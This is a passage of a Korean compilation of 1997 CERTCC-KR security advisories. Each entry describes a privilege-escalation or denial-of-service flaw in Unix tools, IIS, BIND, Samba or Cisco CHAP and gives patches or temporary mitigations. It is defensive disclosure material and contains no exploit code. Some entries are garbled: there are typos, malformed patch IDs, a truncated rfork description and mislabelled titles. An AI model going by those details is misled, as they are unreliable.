을 변경하거나 새로운 목록을 만드는 것을 방지하기 위한 것으로 이를 위해 at에는 setuid

root bit가 지정되어 있다.

하지만, 여러 at(1) 프로그램에서 버퍼오버플로우 취약성이 있어 관리자(root)의 권한으로

임의의 명령을 실행시킬 수 있다.

--해결책-------------------------------------

1. 시스템 공급업체로부터 패치를 설치한다.

2. 패치를 설치하기 전까지는 다음의 조치를 취한다.

# chmod 0 /usr/bin/at

위 명령으로 at 명령을 사용할 수 없게 된다. 대신 crontab(1) 명령을 사용하도록 한다.

Page 882: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--기타--------------------------------------

자세한 설명은 CERT Advisory 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-65.txt

Page 883: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-66-LprBufferOverrun

------------------------------------------

최초발표일 : 97. 6. 30

갱신일 및 갱신내용 :

출처 : CERT Advisory CA-97.19

--제목--------------------------------------

lpr 버퍼 오버플로우 취약점과 대책

--설명--------------------------------------

많은 유닉스 시스템에서 사용되는 BSD 기반의 llpr 프린팅 패키지에 취약점이 존재한다.

lpr 프로그램이 사용자가 입력한 인수에 대해 길이를 충분하게 검사하지 않기 때문에 사용

자는 lpr 프로그램의 내부 스택을 겹쳐 쓸 수 있게 된다. 적절하게 만들어진 argument를

이요하면 lpr 프로그램이 임의의 명령을 실행하도록 만들 수 있는데, 이러한 명령어는 lpr

프로그램의 권한으로 실행된다. lpr 프로그램에 setuid 루트 권한이 설정되어 있으면 침입자

는 관라자(root)의 권한으로 임의의 프로그램을 실행시킬 수 있다.

--해결책-------------------------------------

1. lpr wrapper를 설치한다.

AUSCERT에서 개발한 프로그램을 아래의 주소에서 구해서 설치한다. 이 프로그램은 lpr

프로그램을 대신하여 명령어 라인 인수의 길이를 검사한다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c

2. 각 벤더에서 제공하는 패치를 설치한다.

-Berkeley Software Design, Inc

BSD/OS 3.0은 취약성을 갖고 있지 않으며, BSD/OS 2.1은 다음의 주소에서 패치를 구할

수 있다.

-Digital Equipment Corporation

Digital ULTRIX 또는 Digital UNIX OS 프로그램에는 취약점이 존재하지 않는다.

-FreeBSD

FreeBSD 2.1.6과 2.2에서는 취약점이 제거되었으며, 그 이전 버전을 사용하는 경우에는 다

음의 권고문을 참조하여 패치를 적용한다.

●권고문

ftp://freebsd.org/pub/CERT/advisories/FreeBSD-SA-96:18.lpr.asc

●패치

ftp://freebsd.org/pub/CERT/patches/SA-96:18

Page 884: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

-IBM

AIX는 취약점이 존재하지 않으며, AIX에 존재하는 lpr 프로그램은 setuid 권한이 설정되어

있지 않다.

-Linux

Linux 보안이 FAQ를 참조한다.

ftp://bach.cis.temple.edu/pub/Linux/Security/FAQ/updates/

Update-11-25-1996.vulnerability-lpr-0.06-v1.2

-The Santa Cruz Operation, inc. (SCO)

다음의 SCO OS는 취약점이 존재하지 않음

●SCO CMW+ 3.0

●SCO Open Desktop/Open Desktop/Open Server 3.0, SCO UNIX 3.2v4

●SCO OpenServer 5.0

●SCO UnixWare 2.1

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 CERT Advisory 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-66.txt

Page 885: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-66-LprBufferOverrun

------------------------------------------

최초발표일 : 97. 6. 30

갱신일 및 갱신내용 :

출처 : CERT Advisory CA-97.19

http://www.cert.org/

--제목--------------------------------------

lpr 버퍼플로우 취약점과 대책

--설명--------------------------------------

많은 유닉스 시스템에서 사용되는 BSD 기반의 lpr 프린팅 패키지에 취약점이 존재한다. lpr

프로그램이 사용자가 입력한 인수에 대해 길이를 충분하게 검사하지 않기 때문에 사용자는

lpr 프로그램의 내부 스택을 겹쳐 쓸 수 있게 된다. 적절하게 만들어진 argument를 이용하

면 lpr 프로그램이 임의의 명령을 실행하도록 만들 수 있는데, 이러한 명령어는 lpr 프로그

램의 권한으로 실행된다. 만일 lpr 프로그램에 setuid 루트 권한이 설정되어 있으며 침입자

는 관리자(root)의 권한으로 임의의 프로그램을 실행시킬 수 있다.

--해결책-------------------------------------

1. lpr wrapper를 설치한다.

AUSCERT에서 개발한 프로그램을 아래의 주소에서 구해서 설치한다. 이 프로그램은 lpr

프로그램을 대신하여 명령어 라인 인수의 길이를 검사한다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c

2. 각 벤더에서 제공하는 패치를 설치한다.

-Berkeley Software Design, Inc

BSD/OS 3.0은 취약성을 갖고 있지 않으며, BSD/OS 2.1은 다음의 주소에서 구할수 있다.

-Digital Equipment Corporation

Digital ULTRIX 또는 Digital UNIX OS 프로그램에는 취약점이 존재하지 않는다.

-FreeBSD

FreeBSD 2.1.6과 2.2에서는 취약점이 제거되었으며, 그 이전 버전을 사용하는 경우에는 다

음의 권고문을 참조하여 패치를 적용한다.

●권고문

ftp://freebsd.org/pub/CERT/advisories/FreeBSD-SA-96:18.lpr.asc

●패치

ftp://freebsd.org/pub/CERT/patches/SA-96:18

-IBM

AIX는 취약점이 존재하지 않으며, AIX에 존재하는 lpr 프로그램은 setuid 권한이 설정되어

있지 않다.

Page 886: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

-Linux

Linux 보안 FAQ를 참조한다.

ftp://bach.cis.temple.edu/pub/Linux/Security/FAQ/updates/

Update-11-25-1996.vulnerability-lpr-0.06-v1.2

-The Santa Cruz Operation, Inc. (SCO)

다음의 SCO OS는 취약점이 존재하지 않음

●SCO CMW+ 3.0

●SCO Open Desktop/Open Server 3.0, SCE UNIX 3.2v4

●SCO OpenServer 5.0

●SCO UnixWare 2.1

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 CERT Advisory 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-66.txt

Page 887: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-67-MSIIS

------------------------------------------

최초발표일 : 97. 9.

갱신일 및 갱신내용 :

출처 : http://www.eden.com/~tfast/iisbug.html

--제목--------------------------------------

MS IIS 취약점과 대책

--설명--------------------------------------

마이크로소프트사의 윈도우즈 NT 인터넷 인포메이션 서버(Interner Information Server)에

취약점이 있으며, 원격 사용자는 이를 이용하여 웹서버를 정지시킬 수 있다.

마이크로소프트 윈도우즈 NT 4.0에 인터넷 인포메이션 서버 3.0이 설치되어 있는 경우 원

격 사용자가 임의의 CGI 이름/인수를 포함한 특정한 길이의 URL을 사용하여 웹서버에 정

보를 요청하면, 웹서버 프로그램의 일부인 inetinfo.exe의 수행시의 에러로 인하여 웹서버가

정지된다.

이 취약점은 클라이언트로서 URL의 길이를 검사하지 않는 넷스케이프를 이용할 때 나타나

며, 인터넷 익스플로러는 URL의 길이를 검사하므로 이 취약점을 이용할 수 없다.

--해결책-------------------------------------

마이크로소프트사의 윈도우즈NT 서비스팩3을 설치한다.

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-67.txt

Page 888: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-68-SUN eeprom

------------------------------------------

최초발표일 : 97. 9.

갱신일 및 갱신내용 :

출처 : SUN Security Bulletin #00143

--제목--------------------------------------

SUN eeprom 취약점과 대책

--설명--------------------------------------

eeprom 프로그램은 EEPROM에 기록된 인수값을 표시하거나 변경하기 위해 사용되는 프로

그램이다. EEPROM은 반복적으로 기록이 가능한 비휘발성 메모리의 일종으로서 시스템의

설정 등에 대한 정보를 저장하고 있다. eeprom 프로그램은 인수에 대한 한계를 엄격하게

검사하지 않아 eeprom이 실행될 때 내부시스템 공간에 임의의 값을 겹쳐 쓸 수 있게 되어

있다. eeprom에 setgid bin 권한이 설정되어 있기 때문에 이러한 취약점을 이용하면 임의

의 사용자가 관리자(root)의 권한을 포함하여 특별한 권한을 획득할 수 있다.

취약성을 가지고 있는 시스템은 SPARC 시스템이며 OS 버전은 다음과 같다.

SunOS 버전 : 5.5.1, 5.5, 5.4, 5.3 (Solaris 버전 : 2.5.1, 2.5, 2.4, 2.3)

--해결책-------------------------------------

ㅍSUN 마이크로시스템즈사에서 제공하는 패치를 설치한다.

ftp://sunsolvel.com/pub/patches/patches.html

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-68.txt

Page 889: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-69-IRIX ordist

------------------------------------------

최초발표일 : 97. 9.27

갱신일 및 갱신내용 :

출처 : H-93 : SGI IRIX ordist Buffer Overrun Vulnerability

--제목--------------------------------------

IRIX ordist 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

ordist는 여러 호스트 상에서 동일한 파일 상태를 유지할 수 있도록 해주는 프로그램으로서

setuid root 프로그램이다. 사용자가 입력한 인수에 대해 길이를 충분하게 검사하지 않기

때문에 ordist 프로그램의 내부스택을 겹쳐 쓸 수 있게 된다. 적절하게 만들어진 argument

를 이용하면 ordist 프로그램이 임의의 명령을 실행하도록 만들 수 있는데, ordist 프로그램

은 setuid 권한이 설정되어 있기 때문에 침입자는 관리자(root)의 권한으로 임의의 명령을

실행시킬 수 있다.

--해결책-------------------------------------

1. 임시대책

setuid와 일반 사용자의 실행 권한을 제거한다.

# chmod 500 /usr/bsd/ordist

2. 패치정보

OS Version Vulnerable? Patch # Other Actions

------ ------ -----

IRIX 3.x no

IRIX 4.x no

IRIX 5.0.x yes not avail Note 1

IRIX 5.1.x yes not avail Note 1

IRIX 5.2 yes not avail Note 1

IRIX 5.3 yes 2212

IRIX 6.0.x yes not avail Note 1

IRIX 6.1 yes not avail Note 1

IRIX 6.2 yes 2213

IRIX 6.3 yes 2213

IRIX 6.4 yes 2213

SGI anonymous FTP 사이트는 sgigate.sgi.com (204.94.209.1)

보안정보와 패치는 ~ftp/security 와 ~ftp/patches 디렉토리에서 구할 수 있다.

자세한 것은 원문을 참조하시오

Page 890: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참조바람

참조 : KA-97-60-SGI IRIX ordist Buffer Overrun

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-69.txt

Page 891: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-70-Rfork()

------------------------------------------

최초발표일 : 97. 9.

갱신일 및 갱신내용 :

출처 : OpenBSD Security Advisory

--제목--------------------------------------

rfork() 취약점과 대책

--설명--------------------------------------

4.4BSD 커널의 rfork()의 취약성으로 SUIDD/SGID 실행화일의 파일 디스크립터 테이블 조

작으로 프로세스들이 제한된 자원(resources)

--해결책-------------------------------------

1. 패치를 설치한다. - 원문을 참조로 한다.

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-70.txt

Page 892: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-71-MSIIS

------------------------------------------

최초발표일 : 97. 9.27

갱신일 및 갱신내용 :

출처 : ftp://info.cert.org/pub/cert_advisories/CA-97.22.bind

--제목--------------------------------------

Bind 취약점과 대책

--설명--------------------------------------

BIND 8.1.1 이전 버전에서 가지는 취약성으로 인하여 외부의 네임서버로부터 엉뚱한 데이

터를 받아와서 다른 네임서버에의해 캐쉬되는 cache poisoning 공격이 발생한다. 이 공격

으로 호스트이름과 IP주소의 매핑이 바뀐다.

--해결책-------------------------------------

1. 패치를 설치한다. - 원문의 부록 A를 참조로 한다.

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-71.txt

Page 893: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-72-SUNTalkd

------------------------------------------

최초발표일 : 97. 7.24

갱신일 및 갱신내용 :

출처 : Sun Microsystem. Inc security Bulletin

--제목--------------------------------------

Sun talkd의 취약점과 대책

--개요--------------------------------------

SUN사는 talkd 프로그램의 취약점에 관련하여 Solaris 2.5.1, 2.5, 2.4 그리고 2.3 (SunOS

5.5.1, 5.5, 5.4 그리고 5.3), SunOS 4.1.4 그리고 SunOS 4.1.3_U1의 패치를 발표했다.

--설명--------------------------------------

Talk프로그램의 사용자간의 양방향 스크린 대화를 제공한다. 한 사용자가 talk 대화를 시도

할 때, talkd 프로그램은 시도하는 호스트의 이름을 찾기 위해 Name 서버 lookup을 수행

한다. 호스트이름이 저장된 버퍼에서 불충분한 범위를 점검하기 때문에 talkd 프로그램의

내부스택 공간에 덮어쓰기가 가능하여 talkd가 setuid root일 때 침입자는 root 권한으로

임의의명령어로 이용될 수 있다.

--해결책-------------------------------------

1. SUN의 고객 웹을 통해 패치정보 등을 찾는다.

<ftp://sunsolvel.sun.com/pub/patches/patches.html>

<ftp://sunsolvel.sun.com/sunsolve/secbulletins>

2. 패치 목록

OS 버전 패치 ID

-------- -------

-SunOS 5.5.1 : 104692-01

-SunOS 5.5.1_x86 : 104693-01

-SunOS 5.5 : 104690-01

-SunOS 5.5_x86 : 104691-01

-SunOS 5.4 : 104701-01

-SunOS 5.4_x86 : 104702-01

-SunOS 5.3 : 10469801-01

-SunOS 4.1.4 : 10469801-01

-SunOS 4.1.3_U1 : 104997-01

3. DheckSum 테이블

<ftp://sunsolvel.sun.com/pub/patches/patches.html>

Page 894: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-72.txt

Page 895: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-73-SGITalkd

------------------------------------------

최초발표일 : 97. 7. 23

갱신일 및 갱신내용 :

출처 : Silicon Graphics Inc. Security Advisory

--제목--------------------------------------

IRIX talkd 취약점과 대책

--개요--------------------------------------

SGI사의 IRIX 3.X, 4.X, 5.0.X, 5.1.X, 5.2, 5.3, 6.0.X, 6.1, 6.2, 6.3, 6.4의 talkd 데몬 프

로그램의 보안취약점에 관련하여 패치와 임시조치 방법을 발표했다.

--설명--------------------------------------

talkd 프로그램은 두 사용자간의 talk 통신을 할 때 DNS로부터 네트워크 호스트 이름을 얻

어 사용자에게 talk 세션을 알리는 역할을 한다. 그러나 talkd 프로그램의 보안취약점으로

인해 talkd 프로그램에 제공되는 네트워크호스트 이름 정보를 조작하여 루트 권한으로 임의

의 명령어를 수행할 수 있다.

--해결책-------------------------------------

SGI사에서 제공하는 패치를 설치한다. 패치를 구할 수 없는 경우에는 다음과 같은 임시적인

방법으로 talkd를 사용하지 못하도록 조치한다.

1. 먼저 관리자는 root 권한을 얻는다.

% /bin/su -

passwd : xxxxxxx

#(root 권한 획득)

2. inetd.conf 파일을 수정한다.

#vi /usr/etc/inetd.conf

ntalk dgram u에 wait root /usr/etc/talkd talkd

-> #ntalk dgram udp wait root / usr/etc/talkd talkd

3. inetd를 다시 수행시킨다.

#/etc/killall -HUP inetd

4. root 권한에서 빠져나온다.

# exit

$

Page 896: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

5. 운영체제 버전에 따라 패치 제공여부

OS 버전 취약성여부 패치번호 기타

------ ------ ----- ---------------

IRIX3.x 존재 없음 os 업그레이드/ntalkd를 막는다

IRIX4.x 존재 없음 os 업그레이드/ntalkd를 막는다

IRIX5.0.x 존재 없음 os 업그레이드/ntalkd를 막는다

IRIX5.1.x 존재 없음 os 업그레이드/ntalkd를 막는다

IRIX5.2 존재 없음 os 업그레이드/ntalkd를 막는다

IRIX5.3 존재 2132

IRIX6.0.x 존재 없음 os 업그레이드/ntalkd를 막는다

IRIX6.1 존재 없음 os 업그레이드/ntalkd를 막는다

IRIX6.2 존재 2133

IRIX6.3 존재 2133

IRIX6.4 존재 2133

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-73.txt

Page 897: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-74-mSQL

------------------------------------------

최초발표일 : 97. 7. 29

갱신일 및 갱신 내용 :

출처 : Secure Networks Inc. Security Advisory

--제목--------------------------------------

mSQL 취약점과 대책

--개요--------------------------------------

침입자는 수행중인 mSQL Database 서버시스템에 권한없는 접근을 얻을 수 있다.

--설명--------------------------------------

mSQL서버 소프트웨어 msqld, msql2d는 mSQL서버에서 제공된 것보다 큰 스트링을 포함

하는 질의(Query) 생성에서 침입자는 스택에 덮어쓰기를 하여 임의의 코드로 수행될 수 있

다.

--해결책-------------------------------------

다음을 참조바랍니다(mSQL 2.0-rel and mSQL2.0.1)

ftp://ftp.secnet.com/pub/paches/msql2-patches.tar.gz

기타 관련된 정보는 다음을 참조하십시오

http://www.hughes.com.au

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-74.txt

Page 898: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-75-HPRlogin

------------------------------------------

최초발표일 : 97.

갱신일 및 갱신 내용 :

출처 : HP Daily Security Bulletins Digest HPSBUX9707-066

--제목--------------------------------------

HPUX rlogin 보안 취약점과 대책

--개요--------------------------------------

rlogin을 사용하여 일반 사용자가 특권 계층의 데이터에 접근할 수 있다.

--설명--------------------------------------

HP-UX 9.x와 HP-UX 10.xrelease를 사용하는 HP9000시리즈의 700/800s 시스템에서 일

반 사용자가 rlogin을 통하여 특권 계층의 데이터에 접근할 수 있다.

--해결책-------------------------------------

다음의 패치를 설치한다.

HP-UX 9.00/01/03/04/05/07 :PHNE_117

HP-UX 10.00/01/10 :PHNE_117

HP-UX 10.20/30 :PHNE_117

--기타--------------------------------------

HP Electronic Support Center의 HP Security Center에 관한 정보

http://us-support.external.hp.com

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-75.txt

Page 899: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-76-Samba

------------------------------------------

최초발표일 : 97.

갱신일 및 갱신 내용 :

출처 : CERT Vendor-Initiated Bulletin VB-97.10

--제목--------------------------------------

Samba를 위한 버그 수정

--개요--------------------------------------

이 보안 취약점은 Samba의 모든 버전에서 발견되었으며 접근이 허용되지 않은 원격 사용

자가 Samba 서버에서 root 권한을 획득할 수 있다.

--설명--------------------------------------

Samba의 보안 취약점으로 인해 원격 사용자가 Samba 서버에서 root권한을 획득할 수 있

다. 보안 허점에 대한 이러한 내용은 인텔 기반 플랫폼상에서 운영되는 Samba 서버들에서

만 가능하다. 이 취약점을 이용하는 실제적인 방법이 인터넷상에 공개되어 있으며 특히 인

텔 리눅스 서버에 적용될 수 있다.

--해결책-------------------------------------

Samba의 새로운 버전에서는 이러한 보안 허점이 수정되었다.

새로운 버전은 1.9.17.p2로서 다음의 ftp를 통해서 얻을 수 있다.

ftp://samba.anu.edu.au/pub/samba/samba-1.9.17.p2.tar.tz

또한, 새로운 버전은 보안 허점을 이용하려는 모든 시도에 대해서 메시지를 로깅하는 루틴

을 포함하고 있다. Samba의 log 파일에 기록되는 내용은 아래와 같다.

ERROR : Invalid password length 999

your machine may be under aattack by a user exploiting an old bug

Attack was from IP=aaa.bbb.ccc.ddd

여기서, aaa.bbb.ccc.ddd는 침입을 시도한 시스템의 IP주소이다.

--기타--------------------------------------

새로운 정보는 Samba WWW 사이트를 참조하기 바람

http://samba.anu.edu.au/samba

Page 900: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-76.txt

Page 901: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-77-SunOS automounter

------------------------------------------

최초발표일 : 97. 8. 21

갱신일 및 갱신 내용:

출처 : internetMCI Security Group

--제목--------------------------------------

SunOS automounter 취약점과 대책

--개요--------------------------------------

이 취약성은 자동마운트 데몬인 automountd에 존재하는 문제로 인해 발생한다.

--설명--------------------------------------

이 취약성은 Solaris 2.5.1, 2.5, 2.4, 그리고 2.3(SunOS 5.5.1, 5.5, 5.4 그리고 5.3)의

automounter 프로그램에서 발생하며, 다른 버전의 SunOS에서는 발생하지 않는다.

이 취약성은 Solaris 2.6에서 수정되었다.

automountd 는 autofs 파일 시스템으로부터 mount나 unmount 요청을 처리하는RPC 서버

이다. 권한이 없는 사용자들이 해당 취약성을 이용하여 파일 시스템의 마운트 옵션을 변경

할 수 있다.

--해결책-------------------------------------

다음의 패치를 설치한다.

OS version Patch ID

-------------

SunOS 5.5.1 104654-03

SunOS 5.5.1_x86 104655-01

SunOS 5.5 103187-29

SunOS 5.5_x86 103188-25

SunOS 5.4 101945-50

SunOS 5.4_x86 101946-44

SunOS 5.3 101318-87

--기타--------------------------------------

패치들은 다음의 WWW에서 찾을 수 있다.

<URL:ftp://sunsolve1.sun.com/pub/patches/patches.html>

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-77.txt

Page 902: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-78-CiscoCHAP

------------------------------------------

최초발표일 : 97. 10. 1

갱신일 및 갱신 내용:

출처 : internetMCI Security

--제목--------------------------------------

SunOS Cisco CHAP 인증 취약점과 대책

--개요--------------------------------------

이 취약성을 이용하여 침입자들이 CHAP 인증을 회피할 수 있다.

--설명--------------------------------------

CHAP 인증은 PPP를 통해서 사용자가 접속할 때, 사용자의 패스워드를 서버에서 생성한

random key로 암호화하여 네트워크를 통해 서버로 전달한다. 서버에서는 데이터베이스에

서 그 사용자의 패스워드를 찾아서, 동일한random key로 암호화하여 전송된 패스워드와

암호화한 패스워드를 비교한다. 따라서, 매번 rundom key가 변경되기 때문에 동일한 암호

가 발생하지 않는다. Release 9.1(1)에서 CHAP 지원을 도입한 이후의 Cisco ISO

11.0,Cisco IOS 11.1(14)CA, 11.1, Cisco IOS 11.2 소프트웨어 버전들은 PPP CHAP 인

증에 관한 심각한 위약점을 가지고 있다. 이 취약성을 이용하여 침입자들이 시스템에 허가

되지 않은 PPP 연결 할 수 있다.

--해결책-------------------------------------

패치는 아래와 같다.

Major First Repaired Recommended Maintenance Release

Release Maintenance For Instrallation

--기타--------------------------------------

Cisco의 웹 페이지

http://www.cisco.com

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

